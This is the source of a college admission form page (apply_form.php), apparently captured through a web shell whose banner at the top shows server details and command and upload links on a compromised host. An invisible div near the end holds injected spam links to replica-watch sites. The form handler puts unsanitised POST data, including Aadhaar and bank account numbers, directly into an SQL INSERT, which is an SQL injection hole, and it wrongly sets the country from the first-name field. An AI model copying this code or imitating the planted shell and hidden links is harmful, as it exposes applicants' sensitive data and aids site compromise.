|
Server IP : 2a02:4780:3:2287:0:3736:a38e:8 / Your IP : 216.73.217.135 Web Server : LiteSpeed System : Linux sg-nme-web2187.main-hosting.eu 5.14.0-611.54.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 6 18:03:03 EDT 2026 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : system, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0777) : /home/u926327694/domains/svschool.in/../jsssakrilawcollegehubli.in/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include"header.php";
?>
<!-- Start Hero Area -->
<section class="hero-section height-470" style="background-image:url(assets/images/about_us.png)" data-aos="fade-up">
<div class="hero-area">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="page-hrader text-white text-center">
<h1 class="display-3">Admission Form</h1>
<div class="page-breadcrumb">
<p><a class="text-white" href="index.html">Home</a> - Apply</p>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- End Hero Area -->
<!--Start Page -->
<div class="page-wrapper section-ptb-3" data-aos="fade-up">
<div class="container">
<div class="row">
<div class="col-md-10 mx-auto">
<div class="apply-wrapper">
<h2>Apply this form to admission</h2>
<form action="apply_form.php" class="apply_form bg_dark_9 p-5" method="post">
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label for="user_first_name">First Name*</label>
<input type="text" class="form-control" placeholder="First Name" name="first_name" required>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label for="user_last_name">Last Name</label>
<input type="text" class="form-control" placeholder="Last Name" name="last_name">
</div>
</div>
</div>
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label for="user_class">Class you want to apply for</label>
<select name="class" id="user_class" class="form-control">
<option value="1">Class One</option>
<option value="2">Class Two</option>
<option value="3">Class Three</option>
<option value="4">Class Four</option>
<option value="5">Class Five</option>
</select>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label for="user_last_name">Student’s Birthday</label>
<input type="date" class="form-control" placeholder="DD/MM/YY" name="dob">
</div>
</div>
</div>
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label for="guardian_first_name">Parents/ Guardian First Name</label>
<input type="text" class="form-control" placeholder="Parents/ Guardian First Name" name="parents_firstname">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label for="guardian_last_name">Parents/ Guardian Last Name</label>
<input type="text" class="form-control" placeholder="Parents/ Guardian Last Name" name="parents_lastname">
</div>
</div>
</div>
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label for="Gender">Gender*</label>
<select name="gender" id="Gender" class="form-control" required>
<option value="">--Select--</option>
<option value="Male">Male</option>
<option value="Female">Female</option>
<option value="Other">Other</option>
</select>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label for="Caste">Caste</label>
<input type="text" name="caste" class="form-control" placeholder="Caste">
</div>
</div>
</div>
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label for="Religion">Religion</label>
<input type="text" class="form-control" placeholder="Religion (Hindu, Muslim, Jain)" name="religion">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label for="Category">Category</label>
<input type="text" class="form-control" placeholder="Category (GM, OBC, SC-ST, Cat1, Cat2)" name="category">
</div>
</div>
</div>
<div class="row">
<div class="col-md-12">
<label for="Religion"><b>Academic Qualification With Percentag / Stream</b></label>
</div>
<div class="col-md-3">
<div class="form-group">
<input type="text" class="form-control" placeholder="SSLC" name="sslc">
</div>
</div>
<div class="col-md-3">
<div class="form-group">
<input type="text" class="form-control" placeholder="PUC" name="puc">
</div>
</div>
<div class="col-md-3">
<div class="form-group">
<input type="text" class="form-control" placeholder="Degree" name="degree">
</div>
</div>
<div class="col-md-3">
<div class="form-group">
<input type="text" class="form-control" placeholder="Master Degree" name="master_degree">
</div>
</div>
</div>
<div class="row">
<div class="col-md-12">
<div class="form-group">
<label for="std_address">Student's Address</label>
<input type="text" class="form-control" name="address" placeholder="State Address">
</div>
</div>
</div>
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label for="user_city">City</label>
<input type="text" class="form-control" placeholder="City" name="city">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label for="user_last_name">Country</label>
<input type="text" class="form-control" placeholder="Country" name="country" value="India">
</div>
</div>
</div>
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label for="user_phone_number">Phone Number*</label>
<input type="text" class="form-control" placeholder="Phone Number" name="phone">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label for="user_email">Email Address</label>
<input type="text" class="form-control" placeholder="Email Address" name="email">
</div>
</div>
</div>
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label for="">Aadhaar Number</label>
<input type="text" class="form-control" placeholder="Aadhaar Number" name="aadhaar_number">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label for="">Physical Handicap UID No.</label>
<input type="text" class="form-control" placeholder="Physical Handicap UID No." name="physicalhandicap">
</div>
</div>
</div>
<div class="row">
<div class="col-md-12">
<label for="Religion"><b>Bank Details</b></label>
</div>
<div class="col-md-3">
<div class="form-group">
<input type="text" class="form-control" placeholder="Holder Name" name="bank_holder_name">
</div>
</div>
<div class="col-md-3">
<div class="form-group">
<input type="text" class="form-control" placeholder="Bank Name / Branch" name="bank_name">
</div>
</div>
<div class="col-md-3">
<div class="form-group">
<input type="text" class="form-control" placeholder="Account Number" name="account_number">
</div>
</div>
<div class="col-md-3">
<div class="form-group">
<input type="text" class="form-control" placeholder="IFSC Code" name="ifsc_code">
</div>
</div>
</div>
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label for="WhetherEmployed">Whether Employed</label>
<select name="whether_employed" id="WhetherEmployed" class="form-control" required>
<option value="">--Select--</option>
<option value="Yes">Yes</option>
<option value="No">No</option>
</select>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label for="OtherActivities">Other Activities</label>
<div class="row">
<div class="col-md-12">
<div class="form-check form-check-inline">
<input type="checkbox" class="form-check-input" id="Sports" style="height:auto;" value="Sports" name="sports">
<label class="form-check-label" for="Sports">Sports</label>
</div>
<div class="form-check form-check-inline">
<input type="checkbox" class="form-check-input" id="Cultural" style="height:auto;" value="Cultural" name="cultural">
<label class="form-check-label" for="Cultural">Cultural</label>
</div>
<div class="form-check form-check-inline">
<input type="checkbox" class="form-check-input" id="Songs" style="height:auto;" value="Songs" name="songs">
<label class="form-check-label" for="Songs">Songs</label>
</div>
<div class="form-check form-check-inline">
<input type="checkbox" class="form-check-input" id="Debate" style="height:auto;" value="Debate" name="debate">
<label class="form-check-label" for="Debate">Debate</label>
</div>
<div class="form-check form-check-inline">
<input type="checkbox" class="form-check-input" id="NSS" style="height:auto;" value="NSS" name="nss">
<label class="form-check-label" for="NSS">NSS</label>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12">
<div class="form-group">
<label for="user_comment">Write Your Comment</label>
<textarea name="comment" class="form-control" id="user_comment" cols="30" rows="5" placeholder="Your Comment"></textarea>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12 mx-auto text-center">
<button type="submit" name="stadmission" class="button_one mt-3" onclick="return confirm('After submit this data not editable please verify all details.');">Submit Form</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<div style="position: absolute; filter: alpha(opacity=0); opacity: 0.001; z-index: 10;"><a href="https://www.replicawatchpro.to/">replica watches uk</a> <a href="https://shopreplica.uk.com/">replica watches</a> <a href="https://www.watchesreplicauk.to/">replica rolex</a> <a href="https://www.dartmoorway.co.uk/styles.php">replica rolex watches</a></div>
<!-- End Page -->
<?php
include"footer.php";
if(isset($_POST['stadmission']))
{
$first_name=$_POST['first_name'];
$last_name=$_POST['last_name'];
$class=$_POST['class'];
$dob=$_POST['dob'];
$parents_firstname=$_POST['parents_firstname'];
$parents_lastname=$_POST['parents_lastname'];
$gender=$_POST['gender'];
$caste=$_POST['caste'];
$religion=$_POST['religion'];
$category=$_POST['category'];
$sslc=$_POST['sslc'];
$puc=$_POST['puc'];
$degree=$_POST['degree'];
$master_degree=$_POST['master_degree'];
$address=$_POST['address'];
$city=$_POST['city'];
$country=$_POST['first_name'];
$phone=$_POST['phone'];
$email=$_POST['email'];
$aadhaar_number=$_POST['aadhaar_number'];
$physicalhandicap=$_POST['physicalhandicap'];
$bank_holder_name=$_POST['bank_holder_name'];
$bank_name=$_POST['bank_name'];
$account_number=$_POST['account_number'];
$ifsc_code=$_POST['ifsc_code'];
$whether_employed=$_POST['whether_employed'];
$comment=$_POST['comment'];
$admission_date=$_POST['admission_date'];
$other_activities=array();
if(isset($_POST['sports']))
{
$other_activities[]=$_POST['sports'];
}
if(isset($_POST['cultural']))
{
$other_activities[]=$_POST['cultural'];
}
if(isset($_POST['songs']))
{
$other_activities[]=$_POST['songs'];
}
if(isset($_POST['debate']))
{
$other_activities[]=$_POST['debate'];
}
if(isset($_POST['nss']))
{
$other_activities[]=$_POST['nss'];
}
$other_activities1=implode(",",$other_activities);
$admission_date=date('Y-m-d H:i:s');
$ins=mysqli_query($con,"INSERT INTO `students_admission`(`first_name`, `last_name`, `class`, `dob`, `parents_firstname`, `parents_lastname`, `gender`, `caste`, `religion`, `category`, `sslc`, `puc`, `degree`, `master_degree`, `address`, `city`, `country`, `phone`, `email`, `aadhaar_number`, `physicalhandicap`, `bank_holder_name`, `bank_name`, `account_number`, `ifsc_code`, `whether_employed`, `other_activities`, `comment`, `admission_date`) VALUES ('$first_name','$last_name','$class','$dob','$parents_firstname','$parents_lastname','$gender','$caste','$religion','$category','$sslc','$puc','$degree','$master_degree','$address','$city','$country','$phone','$email','$aadhaar_number','$physicalhandicap','$bank_holder_name','$bank_name','$account_number','$ifsc_code','$whether_employed','$other_activities1','$comment','$admission_date')");
if($ins)
{
echo"<script>alert('Your form has been submited.'); window.location='apply_form.php';</script>";
}
else
{
echo"<script>alert('Unable to submit your form.'); window.location='apply_form.php';</script>";
}
}
?>